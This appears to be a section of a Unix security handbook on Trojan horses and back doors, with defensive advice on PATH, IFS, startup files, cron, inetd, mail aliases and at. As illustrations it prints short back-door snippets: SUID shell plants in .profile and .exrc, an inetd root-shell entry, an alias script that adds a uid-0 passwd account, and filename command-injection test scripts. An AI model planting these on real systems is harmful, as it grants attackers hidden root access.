23.5 Protecting Yourself
Although you can encounter any type of
programmed threat in a Unix environment, you are more likely to
encounter Trojan horses and back doors. In part, this is because
writing effective worms and viruses to attack Unix is rather
difficult (though these pests can still spread through Unix systems
and networks); also, most attackers do not intend outright damage to
your system. Instead, they use Trojan horses or back doors to gain
(or regain) additional access to your system. If damage is a goal,
obtaining superuser access is usually a first step in the process.
Some of the features that give Unix its flexibility and power also
enable attackers to craft workable Trojan horse or back door schemes.
In general, attacks come in one of the following forms:
Altering the expected behavior of the shell (command interpreter)
Abusing some form of startup mechanism
Subverting some form of automatic mechanism
Exploiting unexpected interactions
Basically, all of these plans are designed to get a privileged user
or account to execute commands that would not normally be executed.
For example, one Trojan horse is a program named
su that, instead of making you the superuser,
sends a copy of the superuser password to an account at another
computer.
To protect your system effectively, you need to know how these
attacks work. By understanding the methods of attack, you can then be
aware of how to prevent them.
An equally important part of protecting yourself is to run a secure
system in general. Normal computer security procedures will protect
your system against both programmed threats and malicious users.
23.5.1 Shell Features
The shells
(csh , sh,
ksh, tcsh, and others)
provide users with a number of shortcuts and conveniences. Among
these features is a complete programming language with variables.
Some of these variables govern the behavior of the shell itself. If
an attacker is able to subvert the way the shell of a privileged user
works, the attacker can often get the user (or a background task) to
execute a task for him.
There are a variety of attacks using features of the shell to
compromise security. Some are still real threats. Others are
historic, in that more recent shells have options set to prevent the
attacks from occurring. However, the lack of clear standardization
and the continued use of older systems both suggest that a dedicated
security professional should understand—and protect
against—historical attacks. Both kinds are described in the
following sections.
23.5.1.1 PATH attacks
Each shell
maintains a path, consisting of a set of directories to be searched
for commands issued by the user. This set of directories is
consulted, when the user types a command whose name does not contain
a leading / symbol, and which does not bind to an internal shell
command name or alias.
In shells derived from the Bourne and Korn shells, the PATH variable
is normally set within the initialization file. The list of
directories given normally consists of directories separated by a
colon (:). An entry of only a period, or an empty entry,
means to search the current directory. The csh
path is initialized by setting the PATH variable with a list of
space-separated directory names enclosed in parentheses.
For instance, the following are typical initializations that have
vulnerabilities:
PATH=.:/usr/bin:/bin:/usr/local/bin sh or ksh
set path = ( . /usr/bin /bin /usr/local/bin) csh
Each command sets the search path to look first in the current
directory, then in /usr/bin, then in
/bin, and then in
/usr/local/bin. This is a poor choice of
settings, especially if the user has special privileges. The current
directory, as designated by a null directory or period, should
never be included in the search path. To
illustrate the danger of placing the current directory in your path,
see the example given in Chapter 5.
You should also avoid this sort of initialization, which also places
the current directory in your search path:
The following is incorrect:
PATH=:/usr/bin:/bin:/usr/local/bin: sh or ksh
The following is correct:
PATH= /usr/bin:/bin:/usr/local/bin sh or ksh
The colons (:) should be used only as
delimiters, not as end caps.
No sensitive account should ever have
"."—the current
directory—in its search path. This rule is
especially true of the superuser account! More generally, you should
never have a directory in your search path that is writable by other
users. Some sites keep a special directory, such as
/usr/local/bin/ world-writable (mode 777) so
that users can install programs for the benefit of others.
Unfortunately, this practice opens up the entire system to the kinds
of attacks outlined earlier.
Putting the current directory last in the search path is also not a
good idea. For instance, if you use the more
command frequently, but sometimes type mroe, the
attacker can take advantage of this by placing a Trojan horse named
mroe in this directory. It may be many weeks or
months before the command is accidentally executed. However, when the
command is executed, your security will be penetrated.
We strongly recommend that you get into the
habit of typing the full pathname of commands when you are running as
root. For example, instead of only typing
"chown", type
"/sbin/chown" to be sure you are
getting the system version! This may seem like extra work, but when
you are running as root, you also bear extra
responsibility.
If you create any shell files that will be run by a privileged
user—including root,
daemon, mail,
http, etc.—get in the habit of resetting
the PATH variable as one of the first things you do in each shell
file. The PATH should include only sensible, protected directories.
This method is discussed further in Chapter 16.
23.5.1.2 IFS attacks
The IFS
variable can be set to indicate which characters separate input words
(similar to the -F option of
awk). The benefit of this variable is that you
can use it to change the behavior of the shell in interesting ways.
For example, you could use the following shell script to get a list
of account names and their home directories:
#!/bin/sh
IFS=":"
while read acct passwd uid gid gcos homedir shell
do
echo $acct " " $homedir
done < /etc/passwd
(In this, the shell has already read and parsed the whole file before
the assignment to IFS is executed, so the remaining words are not
separated by colon (:) characters.)
The
IFS feature has largely been superseded by other tools, such as
awk and Perl. However, the feature lives on and
can cause unexpected damage. By setting IFS to use / as a separator,
an attacker could cause a shell file or program to execute unexpected
commands.
Most modern versions of the shell will reset their IFS value to a
normal set of characters when invoked. Thus, shell files will behave
properly. However, not all do. To determine if your shell is immune
to this problem, try executing the following:
: A test of the shell
cd /tmp
cat > tmp <<E-O-F
echo "Danger!"
echo "Your shell does NOT reset the IFS variable!"
E-O-F
cat > foo <<E-O-F
echo "Your shell appears well behaved."
E-O-F
cat > test$$ <<E-O-F
/tmp/foo
E-O-F
chmod 700 tmp foo test$$
PATH=.:$PATH
IFS="/$IFS"
export PATH IFS
test$$
rm -f tmp foo test$$
Failure to reset the IFS variable is not itself a security problem.
The difficulty arises when a shell file is executed on behalf of a
user, or if some command is executed from within a program using the
system( ) or popen( ) calls
(they both use the shell to parse and execute their arguments). If an
attacker can execute the program as a privileged user
and reset the search path, then he can
compromise security. You should be especially cautious about writing
shell files and SUID/SGID programs if your shell does not reset IFS.
23.5.1.3 $HOME attacks
Yet another tactic that can be
exploited, in some circumstances, is to reset the HOME variable.
Normally, csh and ksh
substitute the value of this variable for the ~ symbol when it is
used in pathnames. Thus, if an attacker is able to change the value
of this variable, he might also be able to take advantage of a shell
file that used the ~ symbol as a shorthand for the home directory.
For example, if there is a SUID csh file
(despite our warnings elsewhere about both csh
and SUID shell files) that references ~/.rhosts
for the user, an attacker could subvert it by resetting the HOME
environment variable before running it.
23.5.1.4 Filename attacks
One subtle form of attack results from
an interaction between the shell and the filesystem. The Unix
filesystem has no restrictions on the characters that can be used in
a filename, other than that the slash (/) and null (ASCII 0)
characters cannot be used. Consequently, other special characters can
be used, including the following:
- ' ; | & $
The problem exists when a user finds that some script or command is
executed on a regular basis by a privileged user, and the command
uses filenames as an argument. If your attacker creates a filename
with the appropriate sequence of characters, the attacker could
execute a command of her choosing.
This problem most often manifests itself when there are scripts run
from the cron file to do
filesystem sweeps or accounting. The commands most susceptible to
this form of attack are find and
xargs, along with anything that edits input
and moves it to a shell. The script in Example 23-1
demonstrates all three and checks the versions of your programs to
see if they can be used in such an attack. If so, examine carefully
any scripts you run regularly.
Example 23-1. Command test script
: A Test of three basic commands
cd /tmp
if test -f ./gotcha
then
echo "Ooops! There is already a file named gotcha here."
echo "Delete it and try again."
exit 1
fi
cat > gotcha <<E-O-F
echo "Haha! Gotcha! If this was nasty, you would have a problem! 1>&2"
touch g$$
exit 2
E-O-F
chmod +x ./gotcha
fname='foo;'gotcha''
touch "$fname"
PATH=.:$PATH
export PATH
find /tmp -type f -exec echo {} \; > /dev/null
if test -f ./g$$
then
echo "Ooops! find gotcha!"
rm -f g$$
else
echo "find okay"
fi
ls -1 * | sed 's/^/wc /' | sh >/dev/null
if test -f ./g$$
then
echo "Ooops! your shell gotcha!"
rm -f g$$
else
echo "your shell okay"
fi
ls -1 | xargs ls >/dev/null
if test -f ./g$$
then
echo "Ooops! xargs gotcha!"
rm -f g$$
else
echo "xargs okay"
fi
rm -f ./gotcha "$fname" g$$
23.5.2 Startup File Attacks
Various programs have methods of automatic
initialization to set options and variables for the user. Once these
options and variables are set, the user normally never looks at them
again. As a result, they are a great spot for an attacker to make a
hidden change to be executed automatically on her behalf.
The problem is not that these startup files exist, but that an
attacker may be able to write to them. All startup files should be
protected so only the file's owner can write to
them. Even having group-write permission on these files may be
dangerous.
23.5.2.1 .login, .profile, /etc/profile
These files are
executed when the user first logs in. Commands within the files are
executed by the user's shell. Allowing an attacker
to write to these files can result in arbitrary (and hidden) commands
being executed each time the user logs in, or on a one-time basis:
# attacker's version of root's .profile file
/bin/cp /bin/sh /tmp/.secret
/etc/chown root /tmp/.secret
/bin/chmod 4555 /tmp/.secret
# run real .profile and replace this file
mv /.real_profile /.profile
. /.profile
23.5.2.2 .cshrc, .kshrc, .tcshrc
These are
files that can be executed at login or when a new shell is run. They
may also be run after executing su to the user
account.
23.5.2.3 .emacs
This file is
read and executed when the GNU Emacs editor is started. Commands of
arbitrary nature may be written in Emacs LISP code and buried within
the user's Emacs startup commands. Furthermore, if
any of the directories listed in the load-path variable are writable,
the library modules can be modified with similar results.
23.5.2.4 .exrc, .nexrc
These files are read for initialization
when the ex or vi editor is
started. What is particularly nasty is that if there is a version of
this file present in the current directory, then its contents may be
read in and used instead of the one in the user's
home directory.
Thus, an attacker might do the following in every directory where he
has write access:
% cat > .exrc
!(cp /bin/sh /tmp/.secret;chmod 4755 /tmp/.secret)&
^D
Should the superuser ever start either the vi or
ex editor in one of those directories, the
superuser will unintentionally create an SUID
sh. The superuser will notice a momentary
display of the ! symbol during editor startup. The attacker can then,
at a later point, recover this SUID file and take full advantage of
the system.
Some versions of the vi/ex
software allow you to put the command set noexrc
in your EXINIT environment variable. This ability prevents any local
.exrc file from being read and executed.
23.5.2.5 .forward, .procmailrc
Some
mailers allow the user to specify special handling of mail by placing
special files in his home directory. With
sendmail, the user may specify certain addresses
and programs in the .forward file. If an
attacker can write to this file, she can specify that upon mail
receipt a certain program be run—like a shell script in
/tmp that creates a SUID shell for the attacker.
Many popular mailer packages allow users to write filter
files to process their mail in a
semi-automated fashion. This includes the
procmail system, MH, and several others. Some of these
programs are quite powerful, and have the potential to cause problems
on your system. If a user writes a filter to trigger on a particular
form of mail coming into the mailbox, an attacker could craft a
message to cause unwanted behavior.
For example, suppose that one of your users has installed an
autoreply to send an "out of the
office" reply to any incoming mail. If someone with
malicious intent were to send a forged mail message with a bad return
address, the hapless user's mailer would send an
automated reply. However, the bad address would cause a bounce
message to come back, only to trigger another autoreply. The result
is an endless exchange of autoreplies and error messages, tying up
network bandwidth (if non-local), log file space, and disk space for
the user. (The solution is to use an autoreply that sends a reply to
each address only once every few days, and that recognizes and does
not reply to error messages. Novice programmers, by definition,
seldom think about how the software they write can fail.)
23.5.2.6 Other files
Other programs also have initialization files that can be abused.
Third-party systems that you install on your system, such as database
systems, office interfaces, and windowing systems, all may have
initialization files that can cause problems if they are configured
incorrectly or are writable. You should carefully examine any
initialization files present on your system, and especially check
their permissions.
23.5.2.7 Other initializations
Many
programs allow you to set initialization values in environment
variables in your shell rather than in your files. These can also
cause difficulties if they are manipulated maliciously. For instance,
in the previous example for vi, the Trojan horse
can be planted in the EXINIT environment variable rather than in a
file. The attacker then needs to trick the superuser into somehow
sourcing a file or executing a shell file that sets the environment
variable and then executes the editor. Be very
wary of any circumstances in which you might alter one of your shell
variables in this way!
Another
possible source of initialization errors comes into play when you
edit files that have embedded edit commands. Both
vi/ex and Emacs allow you
to embed edit commands within text files so they are automatically
executed whenever you edit the file. For this to work, they must be
located in the first few or last few lines of the file.
To disable this feature in Emacs, place one of these lines in your
.emacs file:
(setq inhibit-local-variables t) ; Emacs Version 18
or:
(setq enable-local-variables "ask") ; Emacs Verison 19 and above
We know of no uniform method of disabling the undesired behavior of
vi/ex on every platform
without making alterations to the source. Some vendors may have
provided a means of shutting off this automatic initialization, so
check your documentation.
23.5.3 Abusing Automatic Mechanisms
Unix
has programs and systems
that run automatically. Many of these systems require special
privileges. If an attacker can compromise these systems, he may be
able to gain direct unauthorized access to other parts of the
operating system or plant a back door to gain access at a later time.
In general, there are three fundamental principles to preventing
abuse of these automatic systems:
Don't run anything in the
background or periodically with more
privileges than absolutely necessary.
Don't make configuration
files for these systems writable by anyone other than the superuser.
Consider making them unreadable, too.
When adding anything new to the system that will be run
automatically, keep it simple and test it as thoroughly as you can.
The first principle suggests that if you can run something in the
background with a user ID other than root, you
should do so. For instance, the GNU Mailman 2.0 system has a script
that runs every five minutes that attends to pending tasks. Instead
of running as root, this script usually runs
under a username and UID that is reserved for the Mailman
system—for example, mailman or
list. The rest of the Mailman system is then
configured so that this user has access to modify any of the Mailman
databases, but other users do not. In this way, an attacker
can't modify the files and insert commands that will
automatically execute at a later time.
23.5.3.1 crontab entries
There are
three forms of crontab files. The oldest form
has a line with a command to be executed as superuser whenever the
time field is matched by the cron
daemon. To execute commands from this old-style
crontab file as a user other than
root, you must make the command listed in the
crontab file use the su
command. For example:
59 1 * * * /bin/su news -c /usr/lib/news/news.daily
This has the effect of running the su command at
1:59 a.m., resulting in a shell running as user
news. The shell is given arguments of both
-c and
/usr/lib/news/news.daily that then cause the
script to be run as a command.
The second form of the cron file has an extra
field that indicates on whose behalf the command is being run. In the
following example, the script is run at 1:59 a.m. as user
news without the need for a
su command. This version of
cron is found principally in versions of Unix
derived from the older BSD version.
59 1 * * * news /usr/lib/news/news.daily
The third form of cron is found in most modern
operating systems. It keeps both a master
crontab file and a protected directory with a
separate crontab file for each user. The
cron daemon examines all the files and
dispatches jobs based on the user owning the
file. This form of cron does not need any
special care in the entries, although (like the other two versions)
the files and directories need to be protected.
On many systems, use of cron can be restricted
to selected users by using the cron.allow and
cron.deny files, which are typically found in
/etc. If the cron.allow
file is present, only users listed in that file may use
cron; otherwise, if
cron.deny is present, users in that file may not
use cron.
23.5.3.2 inetd.conf
The /etc/inetd.conf
file defines which programs should be run when incoming network
connections are caught by the inetd daemon. An
intruder who can write to the file may change one of the entries in
the file to start up a shell or other program to access the system
upon receipt of a message. So, he might change:
daytime stream tcp nowait root internal
to:
daytime stream tcp nowait root /bin/ksh ksh -i
This would allow an attacker to telnet to the
daytime port on the machine, and get a
root shell any time he wanted to get back on the
machine. Note that this would not result in any unusual program
appearing on the system. The only way to discover this trap is to
check the inetd.conf file. Obviously, this is a
file to include as part of the checklists procedure for examining
altered files. It is also a file that should be closely guarded.
Note that even if the command names look appropriate for each of the
services listed in the inetd.conf file, if the
corresponding files are writable or in a writable directory, the
attacker may replace them with altered versions. They would not need
to be SUID/SGID because inetd would run them as
root (if so indicated in the file).
23.5.3.3 /etc/mail/aliases, aliases.dir, aliases.pag, and aliases.db
These
are the files of system-wide
electronic mail aliases used by the sendmail
program. Similar files exist for other mailers. The aliases in the
aliases file are compiled into database files
(aliases.dir and
aliases.pag, or aliases.db)
for faster lookups.
The danger with this file is that an attacker can create a mail alias
that automatically runs a particular program. For example, an
attacker might add an alias that looks like this:
uucheck: "|/usr/lib/uucp/local_uucheck"
He might then create a SUID root file called
/usr/lib/uucp/local_uucheck that essentially
performs these operations:
#!/bin/sh
echo "uucheck::0:0:fake uucp:/:/bin/sh" >> /etc/passwd
The attacker now has a back door into the system. Whenever he sends
mail to user uucheck, the system will put an
entry into the password file that will allow the attacker to log in.
He can then edit the entry out of the password file, and have free
reign on the system. How often do you examine your alias file?
There are other ways of exploiting email programs that do not require
the creation of SUID programs. We have omitted them from this text,
as it is not our goal to provide a cookbook for breaking into
computer systems, and an astonishingly large number of sites have
world-writable alias files.
Be sure that your alias file is not writable by
users (if for no other reason than the fact that it gives
users an easy way to intercept your mail). You must also protect the
database files. Make certain that no alias runs a program or writes
to a file unless you are absolutely 100% certain what the program
does.
23.5.3.4 The at program
Most Unix systems
have a program called at that allows users to
specify commands to be run at a later time. This program is
especially useful for jobs that need to be run only once, although it
is also useful on systems that do not have a modern version of
cron that allows users to set their own delayed
jobs.
The at command collects environment information
and commands from the user and stores them in a file for later
execution. The user ID to be used for the script is taken from the
queued file. If an attacker can get into the queue directory to
modify the file owner or contents, it is possible that the files can
be subverted to do something other than what was intended. Thus, for
obvious reasons, the directory where at stores
its files should not be writable by others, and the files it creates
should not be writable (or readable) by others.
Try running at on your system. If the resulting
queue files (usually in /usr/spool/atrun,
/usr/spool/at, or
/var/spool/atrun) can be modified by another
user, you should fix the situation or consider disabling the
atrun daemon (usually dispatched by
cron every 15 minutes).
On many systems, the use of at can be restricted
to selected users by using the at.allow and
at.deny files, which are typically found in
/etc. If the at.allow file
is present, only users listed in that file may use
at; otherwise, if at.deny
is present, users in that file may not use at.
23.5.3.5 System initialization files
The system initialization files are another
ideal place for an attacker to place commands that will allow access
to the system. By putting selected commands in
/etc/rc*, /etc/init.d/*,
/etc/rc?.d, and other standard files, an
attacker could reconstruct a back door into the system whenever the
system is rebooted or the run level is changed.
All the files in /etc
should be kept unwritable by users other than
root!
Be especially careful regarding the log files created by programs
automatically run during system initialization. These files can be
used to overwrite system files through the use of symlinks. Thus,
directories containing log files should also have their permissions
tightly controlled.
23.5.3.6 Other files
Other files may be run on a regular basis, and these should be
protected in a similar manner. The programs and datafiles should be
made nonwritable (and perhaps nonreadable) by unprivileged users. All
the directories containing these files and commands up to and
including the root directory should be made
nonwritable.
Other files and directories to protect include:
The NIS/NIS+ database and commands (often
in /usr/etc/yp or
/var/nis).
The files in /usr/adm ,
/var/adm, and/or /var/log
used for accounting and logging.
The files in your
mailer queue and delivery area
(usually /usr/spool/mqueue and
/usr/spool/mail or files linked to those names).
All the files in the system libraries
(/lib ,
/usr/lib, and
/usr/local/lib).
Files that are part of the
software development system
(/usr/include,
/usr/lib/cpp, etc.). Users who do not need to
use the compiler should not have access to it.
23.5.3.7 Issues with NFS
As an added precaution, none of these
files or directories (or the ones mentioned earlier) should be
exported via NFS (described in Chapter 15). If you
must export the files via NFS, export them read-only, or set their
ownership to root and map root client access to
nobody. If clients need to be able to modify
configuration files, then the exported files (presumably on the
/usr partition) should actually be symbolic
links to locations on the client's local filesystems
(presumably on the /var or
/opt partitions).
No files that are used as part of your system's
startup procedure or for other automatic operations should be
exported via NFS. If these files must be exported using NFS, they
should be set on the server to be owned by root
and placed in a directory that is owned by root.
Do not export directories that hold mailboxes, as these files
inherently require ownership by users other than
root.
|